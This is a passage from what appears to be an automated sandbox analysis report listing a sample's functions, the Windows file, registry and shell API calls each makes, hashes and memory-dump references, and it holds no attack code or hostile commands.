Instruction ID: ca9fc7dfa89fe5ea16e4639455fc103decb8165a688e618dc96f0396de22bceb
Opcode Fuzzy Hash: a89557e88259ac32882439a66efe2bded2b7fe37332f597cb2162f61758b0433
Instruction Fuzzy Hash: A5E0867390422057E61056705E4CC3773A8ABC4750306443EF556F2140DB38DC35977A

Function 00406032 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004030AB,00438800,80000000,00000003), ref: 00406036
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406058

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction ID: 0e1b57c135d9ed337dcee0f1630d7a3ffd6699826ab823f4ff8c6da5104765b0
Opcode Fuzzy Hash: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction Fuzzy Hash: DCD09E71254201AFEF0D8F20DF16F2E7AA2EB94B04F11952CB682940E1DAB15C15AB19

Function 0040600D Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405C12,?,?,00000000,00405DE8,?,?,?,?), ref: 00406012
SetFileAttributesW.KERNEL32(?,00000000), ref: 00406026

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: 2aab62ad23f8cb6709c95f945eae6201b0fb2c2ffcd307ea01f0c72ec21377a4
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: 9AD0C972504131ABC2502728EE0889ABF55EF682717014A35F9A5A22B0CB314C628A98

Function 00405AF0 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,004035CB,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00405AF6
GetLastError.KERNEL32(?,00000007,00000009,0000000B), ref: 00405B04

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction ID: 7b2d9cd717f5aff8da3a1f7dd460dbe6a594badd890d3698b32dee5738bc8dc1
Opcode Fuzzy Hash: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction Fuzzy Hash: 50C04C30204601AEDA509B30DF08B177AA4AF50741F1158396246E40A0DA78A455D92D

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: ca598f01870ae34eccd880849d71d37fbd47e21ac257f25a9de2b30882e69ac1
Instruction ID: 7206a17c4d5fce065d1639f2aed3a35bc4cb39007168cc9cbc0cfc9d8a61edfe
Opcode Fuzzy Hash: ca598f01870ae34eccd880849d71d37fbd47e21ac257f25a9de2b30882e69ac1
Instruction Fuzzy Hash: F4F0543160411497CB10AFB68F0DD5F33649F52328F254A3FB421B21D1D6FD8942556F

Function 004023AA Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004023E1

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 84911039e741b8054182bf8c56606a22799472c4c6cd86ceafd7de9864a58810
Instruction ID: 2036f094aef4cf8fcdd3ce51ebd23e93268b82f075a1b79732874c3119e34eec
Opcode Fuzzy Hash: 84911039e741b8054182bf8c56606a22799472c4c6cd86ceafd7de9864a58810
Instruction Fuzzy Hash: 30E086319001246ADB303AF15E8DEBF21586F44345B14093FFA12B62C2DAFC0C42467D

Function 004063D7 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402DEF,00000000,?,?), ref: 00406400

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 33f0ef72135594440bd39ae1090de480165a05d63dfabbbeebd316e266d8c237
Instruction ID: a37d777e965e9699b0e23720f5de0982c89539c866ab1c77fb99c91eca42481e
Opcode Fuzzy Hash: 33f0ef72135594440bd39ae1090de480165a05d63dfabbbeebd316e266d8c237
Instruction Fuzzy Hash: B2E0E672010109BFEF195F50ED0ADBB371DE704340F11452EFD07D4051E6B5A930A674

Function 004060E4 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,004101A0,0040CEF0,00403511,0040CEF0,004101A0,00414EF0,00004000,?,00000000,0040333B,00000004), ref: 004060F8

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: 6979515bda9704ff85578e0c0429e47610ce6c1510064802d49ef9c1332cb9e6
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: E3E08C3221022AABEF109E618C04AEB7B6CEB01360F014832FE16E7040D271E9308BE8

Function 004060B5 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414EF0,0040CEF0,0040358D,0040A230,0040A230,00403491,00414EF0,00004000,?,00000000,0040333B), ref: 004060C9

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: 6a9dac85b633d085c252a5e98b17eff4fa9db91ceb9277f9f5c2807d74357857
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: DCE0E63215026AABDF109E559C04AEB775CEF05751F014836F916E6190D631E93197A4

Function 004023EC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 0040241D

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: f55628d4b7fc1c3702899dee1337003f381c7036a296fbc4314416ebe8ce5134
Instruction ID: 84a3be15b77accaad8f92e5f77cb7225a0a8ac318d6267ea73d07213f2db240d
Opcode Fuzzy Hash: f55628d4b7fc1c3702899dee1337003f381c7036a296fbc4314416ebe8ce5134
Instruction Fuzzy Hash: D3E04F30800219AADB00AFA0CE09EAE3769BF00300F10093AF520BB0D1E7FC89409749

Function 004063A9 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,?,?,?,00406437,?,00000000,?,?,: Completed,?), ref: 004063CD

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction ID: b93d09ea675ceb766083aeed6388771540e4ed4a45e177d9f546af7c41f1e6d1
Opcode Fuzzy Hash: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction Fuzzy Hash: 2CD0123200020EBBDF115F91FD01FAB3B1DAB08710F014426FE06E4091D775D930A765

Function 004015A3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1b895ffc69cdc6654b158d549c8f6e0cc4d2e654bd2dd499d8263cc4ca4a17a1
Instruction ID: 319356c04533e9289a6ed1861cb0ef80ae0b3bb3c13a9342652098b8c4421f6d
Opcode Fuzzy Hash: 1b895ffc69cdc6654b158d549c8f6e0cc4d2e654bd2dd499d8263cc4ca4a17a1
Instruction Fuzzy Hash: 60D01772B042049BCB00DFA9AA48A9E73B0EF24328B308537D521F21D0D6B889519A2A

Function 004044DE Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044F0

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8557fc69485774ba4641c6a2d2b4437b1a5152abf7221d5f63999a85994ee7b6
Instruction ID: 113db2c9408c8cca4cfcb58c80206ddc2c6448e789c7211f53b93fac71a9565f
Opcode Fuzzy Hash: 8557fc69485774ba4641c6a2d2b4437b1a5152abf7221d5f63999a85994ee7b6
Instruction Fuzzy Hash: 1FC04C71740601BADA208B509E45F0777546750740F158469B741A50E0CA74E411D62D

Function 00405B68 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 00405B77

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
